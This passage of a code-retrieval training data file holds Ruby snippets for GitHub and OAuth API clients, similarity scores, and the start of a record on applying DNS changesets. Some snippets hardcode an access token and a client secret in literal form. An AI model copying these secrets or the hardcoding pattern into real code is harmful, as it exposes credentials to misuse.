\n\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<OrganizationComposite>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: OrganizationsApi#find_organizations\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def github\n Log.fatal('You did not configure GitHub yet.') unless @github\n @github\n end", "def git_data(options = {})\n @git_data ||= ApiFactory.new 'GitData', options\n end", "def get_access_token\n response = RestClient.post(\"#{API_URL}/authentication/v1/authenticate\",\n { client_id: Rails.application.secrets.FORGE_CLIENT_ID,\n client_secret: Rails.application.secrets.FORGE_CLIENT_SECRET,\n grant_type:'client_credentials',scope:'data:read data:write bucket:create'\n \n })\n return JSON.parse(response.body)['access_token']\n end", "def flickr_api\n @flickr_api ||= Flickr.new(FLICKR.merge(:token => flickr_token))\n end", "def acquire_repo_list\n set_auth\n set_github_repo_name\n repo_list = []\n (@github.repos.list org: GITHUB_ORG).each do |l|\n repo_list << l[:name]\n end\n repo_list\nend", "def rack_oauth!(name)\n oauth_instance(name).get_access_token!(oauth_request_env)\n end", "def initialize(config)\n $LOG.i('initializing client')\n @config = config\n @epoint = Upwork::Api::DEFAULT_EPOINT\n\t@url_auth, @url_rtoken, @url_atoken = URI_AUTH, URI_RTOKEN, URI_ATOKEN\n @tenant_id = nil\n\n\t@oauth2_client = OAuth2::Client.new(\n @config.client_id,\n @config.client_secret,\n\t :site => Upwork::Api::BASE_HOST,\n\t :authorize_url => @url_auth,\n\t :token_url => @url_atoken,\n\t :connection_opts => { :headers => {'User-Agent' => 'Github Upwork API Ruby Client' }}\n\t)\n end", "def access_token\n OAuth::AccessToken.new(consumer, oauth_token, oauth_token_secret)\n end", "def github_projects\n Rails.cache.fetch(\"/users/#{self.id}/github_projects\", :expires_in => 1.day) {\n gh = Github.new(authentications.where(:provider => 'github').first.provider_token)\n gh.repos\n }\n end", "def init(options={})\n self.application_token = options[:application_token] if options[:application_token].present?\n intialize_digital_ocean_api_connection\n end", "def auth\n @auth ||= access_token.params.to_h.merge({'token' => access_token.token})\n end", "def org_repos\n @org_repos ||= (\n talk 'org repos'\n logins = orgs.map { |org| org[:login] }\n\n logins.map do |login|\n talk \"repos for #{login}\"\n client.organization_repositories login.to_s\n end.flatten\n )\n end" ]
[ "0.6337335", "0.6165816", "0.61026543", "0.59596527", "0.59592384", "0.5948756", "0.59453267", "0.59437686", "0.5920983", "0.58958304", "0.58629733", "0.58022803", "0.58022803", "0.57970595", "0.57865095", "0.57851607", "0.5758082", "0.5731234", "0.56852746", "0.5670283", "0.566927", "0.561486", "0.5608806", "0.55928373", "0.55276614", "0.5517752", "0.5514716", "0.5504166", "0.55028343", "0.5464087", "0.5382222", "0.53684676", "0.53605527", "0.5345089", "0.53362244", "0.53335357", "0.5310756", "0.5278486", "0.52768254", "0.52466315", "0.5195205", "0.51943964", "0.5178722", "0.5158316", "0.5134903", "0.51172644", "0.50785595", "0.5046721", "0.5031635", "0.5024298", "0.5022944", "0.5015248", "0.5001652", "0.49913716", "0.49843842", "0.49824214", "0.49722645", "0.49534732", "0.49485627", "0.49414247", "0.49381208", "0.4922045", "0.490259", "0.49001977", "0.48789048", "0.4875227", "0.4875227", "0.4866845", "0.48575586", "0.48564598", "0.48557442", "0.4823569", "0.4808727", "0.48021072", "0.47995704", "0.4796901", "0.47952768", "0.47921914", "0.47691813", "0.47616112", "0.4758872", "0.4757488", "0.47568107", "0.47560042", "0.47320586", "0.47250843", "0.471026", "0.4703989", "0.47023728", "0.46926555", "0.46849954", "0.4676376", "0.4671864", "0.46716225", "0.4662517", "0.46578598", "0.4655559", "0.4648497", "0.46468318", "0.46417516" ]
0.706001
0
Entrypoint for access to the GitHub Repos API Returns an instance of GitHubV3API::ReposAPI that will use the access_token associated with this instance.
def repos ReposAPI.new(self) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def initialize_api\n @github_api = ::Github::Repos.new do |github_config|\n github_config.endpoint = @endpoint if @endpoint\n github_config.site = @site if @site\n github_config.basic_auth = @auth\n github_config.repo = @repo\n github_config.org = @org\n github_config.adapter = :net_http\n github_config.ssl = {:verify => false}\n end\n end", "def client\n @client ||= Github::ApiProxy.new(@options[:access_token])\n end", "def github_repo(access_token, api_endpoint, repo)\n client = Octokit::EnterpriseAdminClient.new :access_token => access_token :api_endpoint => api_endpoint\n client.repo repo \n end", "def github_api(user = current_user)\n @github_api ||= GithubApi.new(github_token, user)\n end", "def github_client\n Octokit::Client.new(\n access_token: ENV.try(:[], \"GITHUB_ACCESS_TOKEN\"),\n auto_paginate: true\n )\n end", "def github_api_setup\n @github_api ||= Github.new(oauth_token: self.token)\n end", "def client\n Octokit::Client.new(\n access_token: ENV['GITHUB_ACCESS_TOKEN']\n )\n end", "def client\n Octokit::Client.new(\n access_token: ENV['GITHUB_ACCESS_TOKEN']\n )\n end", "def github_repo(access_token, repo)\n client = Octokit::Client.new :access_token => access_token\n client.repo repo\n end", "def client\n Octokit::Client.new(access_token: decrypt(@user.github_token))\n end", "def github\n @github ||= begin\n if username.present? && github_access_token.present?\n Octokit::Client.new(login: username, oauth_token: github_access_token, auto_traversal: true)\n else\n nil\n end\n end\n end", "def index\n\n\n# # Exchange your oauth_token and oauth_token_secret for an AccessToken instance.\n# def prepare_access_token(oauth_token, oauth_token_secret)\n# consumer = OAuth::Consumer.new(\"e24305f14f7f9a67c465\", \"604015f905f6207ec29f3661b952397663d58347\",\n# { :site => \"https://api.github.com/\",\n# :scheme => :header\n# })\n# # now create the access token object from passed values\n# token_hash = { :oauth_token => oauth_token,\n# :oauth_token_secret => oauth_token_secret\n# }\n# access_token = OAuth::AccessToken.from_hash(consumer, token_hash )\n# return access_token\n# end\n\n# # Exchange our oauth_token and oauth_token secret for the AccessToken instance.\n# access_token = prepare_access_token(\"abcdefg\", \"hijklmnop\")\n# # use the access token as an agent to get the home timeline\n# @response = access_token.request(:get, \"https://api.github.com/repos/rails/rails/collaborators\")\n\n\n# curl https://api.github.com/repos/rails/rails/collaborators?client_id=e24305f14f7f9a67c465&client_secret=604015f905f6207ec29f3661b952397663d58347\n\n\n # url = \"https://github.com/login/oauth/authorize\"\n\n # @token = JSON.parse(open(url).read)\n\n @repo = Repo.new\n end", "def github_client\n Octokit::Client.new(:login => username, :oauth_token => token)\n end", "def get_repos\n # using oauth token to increase limit of request to github api to 5000\n client = Octokit::Client.new :access_token => self.github_token\n (client.repositories self.github_name, {:type => 'all'}).map do |repo|\n repo.full_name\n end\n end", "def api\n @api ||= Octokit::Client.new(:login => login, :oauth_token => token)\n end", "def github_client\n Octokit::Client.new access_token: self.setting.user_with_token.client_token\n end", "def index\n if (params[:search]) && (params[:search].empty? == false) \n urlformated = URI.encode(params[:search])\n uri = URI.parse(\"https://api.github.com/legacy/repos/search/#{urlformated}\")\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = (uri.scheme == 'https')\n \n \n request = Net::HTTP::Get.new(uri.request_uri)\n \n res = http.request(request)\n response = JSON.parse(res.body)\n \n\n repository = response['repositories'].map {|rd|\\\n GithubRepository.new( rd['owner'], rd['name'],\\\n rd['description'], rd['language'], rd['url'])} \n \n @github_repositories = repository\n else\n @github_repositories = nil\n end \n end", "def initialize(user = nil, api_token = nil, repo_name = \"cookie_monster\") \n if user.nil?\n puts \"No user provided, getting from git config\"\n user = `git config --get github.user`.chomp\n end\n\n if api_token.nil?\n puts \"No API token provided, getting from git config\"\n api_token = `git config --get github.token`.chomp\n end\n\n\n @user = user.chomp # chomp in case user passes in bad data\n @api_token = api_token.chomp # chomp in case user passes in bad data\n @repo_name = repo_name\n\n # Authenticated client\n #@client = Octopussy::Client.new({:login => @user, :token => @api_token})\n\n # Location of local git repository. Necessary for pushing to Github.\n # Put it in .cloud_path so it doesn't conflict with anything\n @git_dir_path = File.expand_path(\"~/.cloud_path/\" + @repo_name)\n\n create_repo\n create_git_dir\n \n # For whatever reason, Repository.find raises Octopi::NotFound when\n # we've just created the repository in this run of the script.\n # Possibly a caching error.\n begin\n repo = Repository.find(:user => @user, :repo => @repo_name)\n rescue Octopi::NotFound\n puts \"Repository not found. Probably just created repository, please\"\n puts \"run this script again.\"\n exit 0\n end\n end", "def repo(user_name, repo_name)\n Github::Repo.new @access_token, user_name, repo_name\n end", "def github_client\n @github_client ||= begin\n if provider = self.omni_auth_providers.where(name: \"github\").first\n Octokit::Client.new(access_token: provider.access_token)\n end\n end\n end", "def get_github_api(project, endpoint)\n token = \"9874304d5d35c105f590df83c48112ff43518fba\"\n uri = URI.parse(\"https://api.github.com/repos/NuCivic/\" + project + \"/\" + endpoint + '?access_token=' + token)\n request = Net::HTTP::Get.new(uri)\n req_options = {\n use_ssl: uri.scheme == \"https\",\n }\n response = Net::HTTP.start(uri.hostname, uri.port, req_options) do |http|\n http.request(request)\n end\n JSON.parse(response.body)\n end", "def repos(options = {})\n Tinybucket::Resource::Team::Repos.new(username, options)\n end", "def configure_github_access\n settings = ::GitReview::Settings.instance\n if settings.oauth_token && settings.username\n @github = Octokit::Client.new(\n :login => settings.username,\n :access_token => settings.oauth_token,\n :auto_traversal => true\n )\n @github.login\n else\n configure_oauth\n configure_github_access\n end\n end", "def find_repositories\n @repos = GithubApi.call :repos\n end", "def list\n @connection.get('/user/repos').map do |repo_data|\n Rails.logger.info \"listing repos\"\n GitHubApi::Repo.new(self, repo_data)\n end\n end", "def configure_github_access\n if Settings.instance.oauth_token\n @github = Octokit::Client.new(\n :login => Settings.instance.username,\n :oauth_token => Settings.instance.oauth_token\n )\n @github.login\n else\n configure_oauth\n configure_github_access\n end\n end", "def get_repos\n begin\n @repos ||= github_api_setup.repos.list\n rescue Exception => e\n logger.error \"Github #get_repos error #{e}\"\n end\n end", "def repos(name=nil, params={})\n params = name if name.is_a?Hash\n prefix = name.is_a?(String) ? \"./repos/#{self[\"login\"]}/#{name}\" : \"#{path_prefix}/repos\" \n Ghee::API::Repos::Proxy.new(connection,prefix, params)\n end", "def repos\n client.repos({}, query: { sort: \"asc\" })\n end", "def repos(options = {})\n Tinybucket::Resource::User::Repos.new(username, options)\n end", "def octokit\n @octokit ||= Octokit::Client.new(access_token: settings.github_admin_token, auto_paginate: true)\n end", "def github\n\n @github = Github.new({ client_id: CONFIG[:GITHUB_CLIENT_ID], client_secret: CONFIG[:GITHUB_CLIENT_SECRET] })\n end", "def get(user, repo_name)\n org_data = @connection.get(\"/repos/#{user}/#{repo_name}\")\n GitHubApi::Repo.new_with_all_data(self, org_data)\n rescue RestClient::ResourceNotFound\n raise NotFound, \"The repository #{user}/#{repo_name} does not exist or is not visible to the user.\"\n end", "def repo (slug, githubToken)\n\n puts \"Retrieving #{slug} from GitHub...\"\n\n urlString = 'https://api.github.com/repos/' + slug + '?access_token=' + githubToken\n\n uri = URI(urlString)\n\n client = Net::HTTP.new(uri.host, uri.port)\n client.use_ssl = (uri.scheme == 'https')\n\n request = Net::HTTP::Get.new(uri)\n request['Accept'] = 'application/vnd.github.v3+json'\n\n result = client.request (request)\n\n case result\n when Net::HTTPSuccess, Net::HTTPRedirection\n repoData = JSON.parse(result.body)\n return repoData\n else\n\treturn nil\n end\nend", "def repos\n @repos ||= get(\"/repos/show/#{login}\")['repositories'].map { |r| Repo.new(connection, r) }\n end", "def octokit\n @octokit ||= octokit_client(github_oauth_token)\n end", "def get_repos\n @api.list_repositories\n end", "def create_client\n token = File.open(GITHUB_TOKEN_FILE).read\n Octokit::Client.new(access_token: token)\nend", "def request_token\n json = cli.perform_quietly %Q(curl -u '#{username}:#{password}' -d '{\"scopes\": [\"repo\"], \"notes\": \"Octopolo\"}' https://api.github.com/authorizations)\n self.auth_response = JSON.parse json\n end", "def find_repos\n @current_user ||= User.find(session[:user_id]) if session[:user_id]\n @client = Octokit::Client.new(:access_token => @current_user.token)\n\n # get user input from API\n user_input_string = request.params[:_json]\n input_arr = user_input_string.gsub(/\\s+/, \"\").split(\",\")\n\n # search repos using user input\n repoids = input_arr.map do |input|\n repo = @client.repository(input)\n \"#{repo.to_hash[:id]}\"\n end\n\n # Save user search input and repos to UserPreference\n @current_user.UserPreference.search_input = user_input_string\n @current_user.UserPreference.repos = repoids.join(\",\")\n @current_user.UserPreference.save\n\n respond_to do |format|\n format.json {\n render json: repoids.to_json, status: 200\n }\n end\n end", "def create\n\t\t# we're sent here by the GET '/auth' => 'sessions#create' route\n\t\t# response = Faraday.post(\"https://github.com/login/oauth/access_token\") do |request|\n\t\t# \trequest.headers['Accept'] = 'application/json'\n\t\t# \trequest.body = JSON.generate({\n\t\t# \t\t\t'client_id': ENV[\"GITHUB_CLIENT_ID\"],\n\t\t# \t\t\t'client_secret': ENV[\"GITHUB_CLIENT_SECRET\"],\n\t\t# \t\t\t'code': params[:code]\n\t\t# \t\t})\n\t\t# end\n\t\t# could also be written \n\t\tresponse = Faraday.post \"https://github.com/login/oauth/access_token\", {client_id: ENV[\"GITHUB_CLIENT_ID\"], client_secret: ENV[\"GITHUB_CLIENT_SECRET\"],code: params[:code]}, {'Accept' => 'application/json'}\n\n\t\t# this is sent back by github under the following form by default\n\t\t# access_token=e72e16c7e42f292c6912e7710c838347ae178b4a&scope=user%2Cgist&token_type=bearer\n\t\t# and since we asked for headers \"Accept: application/json\"\n\t\t# {\"access_token\":\"e72e16c7e42f292c6912e7710c838347ae178b4a\", \"scope\":\"repo,gist\", \"token_type\":\"bearer\"}\n\t\taccess_hash = JSON.parse(response.body)\n\t\tsession[:token] = access_hash[\"access_token\"]\n\n\t\t##### Now we have the token and we can use it to access the API\n\n\t\t# we make a call to get the username\n\t\tuser_response = Faraday.get \"https://api.github.com/user\", {}, {'Authorization' => \"token #{session[:token]}\", 'Accept' => 'application/json'}\n\t\t# parse the response body\n\t\tuser_json = JSON.parse(user_response.body)\n\t\t# set the username into the session\n\t\tsession[:username] = user_json[\"login\"]\n\t\tbinding.pry\n\t\t# next step happens in the root path (repositories#index)\n\t\tredirect_to root_path\n\tend", "def configure(options = {})\n api = Github.new\n config = GithubCLI.config\n\n ssl = config.fetch('core.ssl')\n adapter = config.fetch('core.adapter')\n token = config.fetch('user.token')\n site = config.fetch('core.site')\n endpoint = config.fetch('core.endpoint')\n\n api.basic_auth = set_basic_auth(config, options)\n api.ssl = ssl if ssl && ssl != ''\n api.adapter = adapter.to_sym if adapter && adapter != ''\n api.oauth_token = token if token && token != ''\n api.site = site if site && site != ''\n api.endpoint = endpoint if endpoint && endpoint != ''\n api.auto_pagination = options['auto_pagination'] || config.fetch('core.auto_pagination')\n\n if (test_env = ENV['TEST_HOST'])\n api.endpoint = 'http://' + test_env\n end\n api\n end", "def get_repo\n raise \"can't get a repo without the repo's full_name (eg. 'fubar/ofxTrickyTrick')\" unless full_name\n\n begin\n response = GithubApi::repository(full_name: full_name)\n rescue => ex\n Rails.logger.debug \"Failed to get repository: #{ex.message} (#{ex.class})\"\n return\n end\n\n unless response.success?\n Rails.logger.debug response.inspect.to_s.red\n return\n\tend\n\n @repo_json = response.parsed_response\n end", "def config_github(api_key)\n @github = GitHub.new(api_key)\n end", "def client_for(repo_name = nil)\n repo_name ||= @repo_data.full_name\n # Get the token\n token = GithubDash::DataDepository.get_token_for_repo(repo_name)\n # Use the most recent token if this repo doesn't have an associated token\n token = GithubDash::DataDepository.get_token if token.nil?\n # Use default client if the token is nil\n Octokit if token.nil?\n # Return new client\n client = Octokit::Client.new(:access_token => token)\n end", "def repos(*args)\n params = arguments(args, required: [:q]).params\n params['q'] ||= arguments.q\n\n get_request('/search/repositories', arguments.params)\n end", "def projects\n @projects ||= begin\n http = Net::HTTP.new(API_HOST, API_PORT)\n http.use_ssl = true\n http.ca_file = (Twigg.root + 'files' + 'github.pem').to_s\n http.verify_mode = OpenSSL::SSL::VERIFY_PEER\n uri = ORG_REPOS_ENDPOINT % Config.github.organization\n headers = { 'Authorization' => \"token #{Config.github.token}\" }\n\n [].tap do |names|\n begin # loop: page through project list\n request = Net::HTTP::Get.new(uri, headers)\n response = http.request(request)\n raise \"Bad response #{response.inspect}\" unless response.is_a?(Net::HTTPOK)\n names.concat JSON[response.body].map { |repo| repo['name'] }\n uri = parse_link(response['Link'])\n end until uri.nil?\n end\n end\n end", "def api_call(path)\n url = \"https://api.github.com#{path}\"\n url << \"?access_token=#{ENV['GITHUB_API_TOKEN']}\" if ENV['GITHUB_API_TOKEN']\n resp = get(url)\n if resp.code.to_i != 200\n nil\n else\n data = resp.body\n JSON.parse(data)\n end\nend", "def request_repo_data\n self.class.get(\"/#{@repo}\", headers: {\n 'Authorization' => \"token #{@token}\",\n 'User-Agent' => 'stefanrush/weightof.it'\n })\n end", "def github_client\n p = Project.find(params[:id])\n if p.github_token\n github = Github.new :oauth_token => p.github_token\n else\n github = Github.new :client_id => GITHUB_CLIENT_ID , :client_secret => GITHUB_CLIENT_SECRET\n end\n end", "def repo\n @repo ||= OctocatHerder::Repository.new(@raw['repo'], connection)\n end", "def repo\n @repo || RailsApiDoc::Controller::Request::Repository[self]\n end", "def repository\n @repository ||= Github::Repository.find user: user, name: name\n end", "def set_api_client\n Github.api_client = self\n end", "def client\n client_object_exists = (defined?(@client) != nil)\n if client_object_exists\n return @client\n else\n # When coming through a commit hook endpoint, the github_id won't be saved\n # in the session, so we need to be able to grab it from a class instance variable.\n # @todo: actually there's a better way to do this. See it mentioned in my\n # other @todo in this file.\n if session[:github_id] != nil\n github_id = session[:github_id]\n elsif @github_id != nil\n github_id = @github_id\n else\n authenticate!\n end\n\n user = User.find_by(github_id: github_id)\n if Octokit.validate_credentials({ :access_token => user.token })\n # Auto paginate to prevent repo-list truncation on the books/new page. This may\n # hurt performance, so keep an eye on it.\n @client = Octokit::Client.new :access_token => user.token, :auto_paginate => true\n else\n authenticate!\n end\n end\nend", "def github_client(opts={})\n return unless has_github?\n\n @github_client ||= Github.new oauth_token: github_identity.token\n end", "def api\n # Don't cache instance for now because of a ruby marshaling bug present\n # in MRI 1.9.3 (Bug #7627) that causes instance variables to be\n # marshaled even when explicitly specifying #marshal_dump.\n Octokit::Client.new(:login => login, :access_token => token)\n end", "def access_token\n return @access_token if @access_token\n creds = YAML.load(File.read(File.expand_path('~/.github.yml')))\n @access_token = creds[\"token\"]\nend", "def url\n \"http://github.com/#{repo.owner.login}/#{repo.name}/#{name}\"\n end", "def get_contents\n raise \"can't get a repo without the repo's full_name (eg. 'fubar/ofxTrickyTrick')\" unless full_name\n\n begin\n response = GithubApi::repository_contents(full_name: full_name)\n rescue => ex\n Rails.logger.debug \"Failed to get repository contents: #{ex.message} (#{ex.class})\"\n return\n end\n\n unless response.success?\n Rails.logger.debug response.inspect.to_s.red\n return\n\tend\n\n @repo_contents_json = response.parsed_response\n end", "def github_projects\n Rails.cache.fetch(\"/users/#{self.id}/github_projects\", :expires_in => 1.day) {\n gh = Github.new(authentications.where(:provider => 'github').first.provider_token)\n gh.repos\n }\n end", "def get_repositories_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: RepositoryApi.get_repositories ...'\n end\n # resource path\n local_var_path = '/v1/repository'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'Array<Repository>' \n\n # auth_names\n auth_names = opts[:auth_names] || ['X-Api-Key']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: RepositoryApi#get_repositories\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def setupClient!()\n @octo_client = Octokit::Client.new(\n :access_token => apiKey(),\n :api_endpoint => githubAPIEndpoint(),\n :web_endpoint => githubWebEndpoint()\n )\n @octo_client.auto_paginate = true\n end", "def pull_request\n @pull_request ||= ApiFactory.new 'Repos::PullRequest'\n end", "def repo() \n\t\treturn @repo if @repo != nil\n\t\t@repo = Grit::Repo.new(self[:path])\n\tend", "def repos(*args)\n params = args.extract_options!\n normalize! params\n assert_required_keys %w[ keyword ], params\n\n get_request(\"/legacy/repos/search/#{params.delete('keyword')}\", params)\n end", "def acquire_repo_list\n set_auth\n set_github_repo_name\n repo_list = []\n (@github.repos.list org: GITHUB_ORG).each do |l|\n repo_list << l[:name]\n end\n repo_list\nend", "def get_repos project_id\n $logger.info \"Getting repos\"\n\n # from the bitbucket api\n rest_endpoint = \"/rest/api/1.0/projects/#{PROJECT_ID}/repos\"\n\n http = Net::HTTP.new(BASE_GIT_URL, BASE_GIT_PORT)\n repos_request = Net::HTTP::Get.new(\"/rest/api/1.0/projects/#{PROJECT_ID}/repos?limit=1000\")\n repos_request.basic_auth GIT_USER, GIT_PASSWORD\n repos_response = http.request(repos_request)\n repos_response.value\n\n # https://confluence.atlassian.com/bitbucket/what-is-a-slug-224395839.html\n repos_body = JSON.parse(repos_response.body)\n repos = repos_body['values'].map { |v| v['slug'] }\n\n $logger.info \"Found repos #{repos}\"\n\n return repos\nend", "def repo\n @repo ||= Gerrit::Repo.new(@config)\n end", "def client\n Octokit::Client.new(:access_token => \"#{token}\")\n end", "def resolve\n if (login = env['GITHUB_LOGIN']) && (password = env['GITHUB_PASSWORD'])\n { login: login, password: password }\n elsif access_token = env['GITHUB_ACCESS_TOKEN']\n { access_token: access_token }\n elsif (client_id = env['GITHUB_CLIENT_ID']) && (client_secret = env['GITHUB_CLIENT_SECRET'])\n { client_id: client_id, client_secret: client_secret }\n elsif netrc_file = env['NETRC_FILE']\n raise MissingCredentials.new(netrc_file) unless Netrc.read(netrc_file)['api.github.com']\n { netrc: true, netrc_file: netrc_file }\n elsif Netrc.read['api.github.com']\n { netrc: true }\n else\n raise MissingCredentials\n end\n end", "def repositories\n response = self.class.get('/repositories').body\n JSON.parse(response)\n end", "def index\n @orgs ||= Github::Org.orgs(\n current_user_github_access_token,\n current_github_username\n )\n end", "def show\n @repo = @user.repos.find_by_name!(params[:id])\n render json: to_json(@repo)\n end", "def github\n Log.fatal('You did not configure GitHub yet.') unless @github\n @github\n end", "def fetch_projects!\n projects.destroy_all\n\n if github?\n result = YAML.load open(\"http://github.com/api/v2/yaml/repos/show/#{github}/\")\n\n result['repositories'].each do |repository|\n projects.create! :name => repository[:name], :description => repository[:description]\n end\n end\n rescue OpenURI::HTTPError # user not found, ignore\n end", "def api_endpoint(base_url = nil)\n base_url ||= base_github_api_url_for_remote\n if /github.com/ !~ base_url\n \"#{base_url}/api/v3\"\n else\n Octokit::Default::API_ENDPOINT\n end\n end", "def new(options = {}, &block)\n #@api_client = Github::Client.new(options, &block)\n end", "def fetch_from_github\n repo, branch, path = Post.parse_github_url self.github\n Environment.github.contents repo, ref: branch, path: path\n end", "def repo(repo_name)\n Repo.new(client: @client, user: self, repo_name: repo_name)\n end", "def create(*args)\n params = args.extract_options!\n normalize! params\n filter! VALID_REPO_OPTIONS + %w[ org ], params\n assert_required_keys(%w[ name ], params)\n\n # Requires authenticated user\n post_request(\"/1.0/repositories/\", DEFAULT_REPO_OPTIONS.merge(params))\n end", "def octokit\n @octokit ||= Octokit::Client.new(access_token: token)\n end", "def url\n \"http://github.com/#{login}\"\n end", "def repositories\n client.repositories(user_repo, @options)\n end", "def get_my_repos\n repos = []\n\n (1..get_total_repo_pages_count.to_i).each do |index|\n get_json( \"#{ GITHUB_USER_REPOS_URL }?per_page=100&page=#{ index }\" ).each do |item|\n repos << item[ 'full_name' ]\n end\n end\n\n return repos\nend", "def repos\n api.repos.map(&:to_hash)\n end", "def fetch_json\n # Get raw JSON of GitHub API\n api_page = open(@api_url, http_basic_authentication: @login)\n # Parse the JSON into a hash\n @api_hash = JSON.parse(api_page.read)\n end", "def initialize(full_name)\n # GitHub login, uses MORPH_ prefix to make morph.io happy\n @login = [ENV['MORPH_UNAME'], ENV['MORPH_PWD']]\n abort 'Set $MORPH_UNAME and $MORPH_PWD' unless @login.any?\n @api_url = ROOT + '/repos/' + full_name\n # Check if rate limited\n abort 'Rate limited' if rate_limited?\n fetch_json\n info\n end", "def get_repo\n repos = get_repos\n unless repos.size == 1\n fail Error.new('unexpected that number of matching repos is not equal to 1')\n end\n\n repos.first\n end", "def index\n @repos = Repo.all\n end", "def get_with_app(url)\n github_api_conn.get do |request|\n request.url url\n\n request.headers['Authorization'] = \"Token #{access_token}\"\n request.headers['Accept'] = accept_header\n end\n end", "def initialize( args = {} )\n\n ::Octokit.configure do |c|\n c.access_token = args[:github_auth] || ENV['GITHUB_AUTH']\n c.auto_paginate = true\n end\n\n @params = {}\n @params[:context] = args[:context] or raise \"Requires a context\"\n @params[:target_url] = args[:url]\n \n path = args[:repo] || '.'\n @repo = GithubInformer.determine_repo(path)\n @sha = GithubInformer.determine_sha(path)\n end", "def repos\n @repos ||= OY.repos\n end", "def create_repo\n Rugged::Repository.init_at(repo_path, :bare).tap do |repo|\n repo.remotes.create('origin', \"[email protected]:#{project.gh_path}\")\n repo.remotes.add_fetch_refspec('origin', GITHUB_PULLS_REFSPEC)\n end\n end", "def githubAPIEndpoint()\n domain = 'api.github.com' unless ENV['HOMEBREW_PIPELINE_GITHUB_DOMAIN']\n return \"https://#{domain}/\"\n end", "def load_json\n uri = URI.parse(\"https://api.github.com/users/#{@login}/repos\")\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n request = Net::HTTP::Get.new(uri.request_uri)\n response = http.request(request)\n JSON.parse(response.body)\n end", "def show\n @repo_cred = @repo.repo_creds.where(created_by_id: current_user.id).first || @repo.repo_creds.new\n @repo_projects = @repo.projects @repo_cred\n logger.debug \"@repo_projects: #{@repo_projects}\"\n end", "def flickr_api\n @flickr_api ||= Flickr.new(FLICKR.merge(:token => flickr_token))\n end", "def search_repos\n @current_user ||= User.find(session[:user_id]) if session[:user_id]\n @client = Octokit::Client.new(:access_token => @current_user.token)\n\n # search repos using user query\n repos = @client.search_repositories(\"ember\")\n\n @json = repos.items.map do |repo|\n nhash = repo.to_hash\n nhash\n end\n\n respond_to do |format|\n format.json {\n render json: @json.to_json, status: 200\n }\n end\n end", "def fetch\n return nil if !repo || !user\n if fetched?\n pull\n else\n clone\n end\n end" ]
[ "0.6943118", "0.6608241", "0.6483988", "0.64393836", "0.6400369", "0.6399662", "0.6278856", "0.6278856", "0.6177636", "0.61451894", "0.6114128", "0.6109095", "0.60644937", "0.6063871", "0.60212547", "0.5994289", "0.5990497", "0.59800434", "0.59761786", "0.5965133", "0.59351236", "0.5926616", "0.5881428", "0.5873544", "0.58486426", "0.58445454", "0.58403367", "0.5811762", "0.5808617", "0.58039147", "0.579377", "0.57766485", "0.5763739", "0.57531345", "0.5747913", "0.57396775", "0.5685576", "0.5676792", "0.5615769", "0.5580259", "0.55502766", "0.5534689", "0.5529345", "0.5515311", "0.5509611", "0.5494152", "0.5471054", "0.54649794", "0.5463825", "0.5416124", "0.53836757", "0.5381421", "0.5372312", "0.53676546", "0.5366239", "0.5350578", "0.5348833", "0.53441185", "0.5342443", "0.5326812", "0.53152615", "0.5307201", "0.53028077", "0.5295475", "0.5290412", "0.526884", "0.5251272", "0.5247482", "0.5241928", "0.5238986", "0.52348155", "0.5207035", "0.51909614", "0.5189483", "0.5184206", "0.5181648", "0.51803434", "0.5176117", "0.5172882", "0.5165345", "0.51629066", "0.5157267", "0.51484746", "0.51433885", "0.51396513", "0.5135203", "0.51233923", "0.5119901", "0.5119281", "0.5112892", "0.51108646", "0.50958306", "0.50898296", "0.5084537", "0.50810176", "0.5078806", "0.506907", "0.5062797", "0.5043969", "0.50417286" ]
0.72777426
0
Applies changeset to provider
def apply_changeset(changeset, stdout = $stdout) begin stdout.puts "Applying #{changeset.additions.size} additions, #{changeset.removals.size} removals, & #{changeset.updates.size} updates..." changeset.changes.each do |change| case change.type when :removal; stdout.puts "Removing #{change.record}..." remove(change.record) when :addition; stdout.puts "Creating #{change.record}..." add(change.record) when :update; stdout.puts "Updating record with ID #{change.id} to #{change.record}..." update(change.id, change.record) else raise ArgumentError, "Unknown change type #{change.type.inspect}" end end puts "\nPublished #{@zone_name} changes" end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update!(**args)\n @providers = args[:providers] if args.key?(:providers)\n end", "def update!(**args)\n @available_providers = args[:available_providers] if args.key?(:available_providers)\n @provider_filter_state = args[:provider_filter_state] if args.key?(:provider_filter_state)\n @state = args[:state] if args.key?(:state)\n @whitelisted_providers = args[:whitelisted_providers] if args.key?(:whitelisted_providers)\n end", "def apply_changes\n\t\t@admin_manager.CommitChanges\n\tend", "def update!(**args)\n @enabled_providers = args[:enabled_providers] if args.key?(:enabled_providers)\n @provider_configs = args[:provider_configs] if args.key?(:provider_configs)\n @state = args[:state] if args.key?(:state)\n end", "def update!(**args)\n @provider_key = args[:provider_key] if args.key?(:provider_key)\n @provider_type = args[:provider_type] if args.key?(:provider_type)\n end", "def apply(resource)\n [:one, :two, :ensure, :target].each do |st|\n Puppet.info \"Setting #{resource[:name]}: #{st} => #{resource.should(st)}\"\n resource.provider.send(st.to_s + \"=\", resource.should(st))\n end\n end", "def update!(**args)\n @is_default_provider = args[:is_default_provider] if 